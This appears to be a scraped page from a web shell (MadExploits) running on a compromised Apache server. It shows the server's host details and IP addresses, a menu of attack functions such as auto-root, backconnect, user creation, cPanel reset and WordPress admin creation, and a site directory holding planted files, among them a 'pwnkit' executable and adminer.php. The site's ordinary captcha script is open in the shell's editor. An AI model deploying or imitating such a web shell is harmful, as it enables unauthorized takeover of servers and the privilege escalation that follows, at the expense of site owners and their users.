Linux eyewebsolution.dnshostserver.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
: 185.131.55.234 | : 216.73.216.220
674 Domain
5.6.40
omxrelocation
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
omxrelocation /
public_html /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
classycountdown
[ DIR ]
drwxr-xr-x
fullpage-slider
[ DIR ]
drwxr-xr-x
multiscroll-slider
[ DIR ]
drwxr-xr-x
revolution-slider
[ DIR ]
drwxr-xr-x
vertical-timeline
[ DIR ]
drwxr-xr-x
.htaccess
200
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Thumbs.db
28.5
KB
-rw-r--r--
adminer.php
0
B
-rw-r--r--
bootstrap.min.js
36.01
KB
-rw-r--r--
calendar-events-data.js
3.31
KB
-rw-r--r--
captcha.js
2.64
KB
-rw-r--r--
captcha2.js
2.75
KB
-rw-r--r--
chart.js
118.99
KB
-rw-r--r--
clock_face.png
10.13
KB
-rw-r--r--
clock_face2.png
8.88
KB
-rw-r--r--
clock_face3.png
36.7
KB
-rw-r--r--
clock_hour.png
1.19
KB
-rw-r--r--
clock_min.png
1.2
KB
-rw-r--r--
clock_sec.png
1.77
KB
-rw-r--r--
custom.js
87
KB
-rw-r--r--
google-map-init-multilocation....
13.18
KB
-rw-r--r--
jClocksGMT.css
527
B
-rw-r--r--
jClocksGMT.js
1.91
KB
-rw-r--r--
jquery-1.10.2.js
266.8
KB
-rw-r--r--
jquery-2.2.4.min.js
83.57
KB
-rw-r--r--
jquery-plugin-collection.js
693.67
KB
-rw-r--r--
jquery-ui.css
34.38
KB
-rw-r--r--
jquery-ui.js
459.57
KB
-rw-r--r--
jquery-ui.min.js
234.8
KB
-rw-r--r--
jquery.rotate.js
8.49
KB
-rw-r--r--
parsley.min.js
42.67
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : captcha.js
//Initial References let submitButton = document.getElementById("submit-button"); let userInput = document.getElementById("user-input"); let canvas = document.getElementById("canvas"); let reloadButton = document.getElementById("reload-button"); let text = ""; //Generate Text const textGenerator = () => { let generatedText = ""; /* String.fromCharCode gives ASCII value from a given number */ // total 9 letters hence loop of 3 for (let i = 0; i < 3; i++) { //65-90 numbers are capital letters generatedText += String.fromCharCode(randomNumber(65, 90)); //97-122 are small letters // generatedText += String.fromCharCode(randomNumber(97, 122)); //48-57 are numbers from 0-9 generatedText += String.fromCharCode(randomNumber(48, 57)); } return generatedText; }; //Generate random numbers between a given range const randomNumber = (min, max) => Math.floor(Math.random() * (max - min + 1) + min); //Canvas part function drawStringOnCanvas(string) { //The getContext() function returns the drawing context that has all the drawing properties and functions needed to draw on canvas let ctx = canvas.getContext("2d"); //clear canvas ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); //array of text color const textColors = ["rgb(0,0,0)", "rgb(130,130,130)"]; //space between letters const letterSpace = 150 / string.length; //loop through string for (let i = 0; i < string.length; i++) { //Define initial space on X axis const xInitialSpace = 25; //Set font for canvas element ctx.font = "20px Roboto Mono"; //set text color ctx.fillStyle = textColors[randomNumber(0, 1)]; ctx.fillText( string[i], xInitialSpace + i * letterSpace, randomNumber(25, 40), 100 ); } } //Initial Function function triggerFunction() { //clear Input userInput.value = ""; text = textGenerator(); // console.log(text); //Randomize the text so that everytime the position of numbers and small letters is random text = [...text].sort(() => Math.random() - 0.5).join(""); drawStringOnCanvas(text); } //call triggerFunction for reload button reloadButton.addEventListener("click", triggerFunction); //call triggerFunction when page loads window.onload = () => triggerFunction(); //When user clicks on submit submitButton.addEventListener("click", () => { //check if user input == generated text if (userInput.value === "") { //alert("Please Fill the all required feilds ?") } else if(userInput.value===text){ } else { alert("Please enter Valid Captcha Code !"); triggerFunction(); } });
Close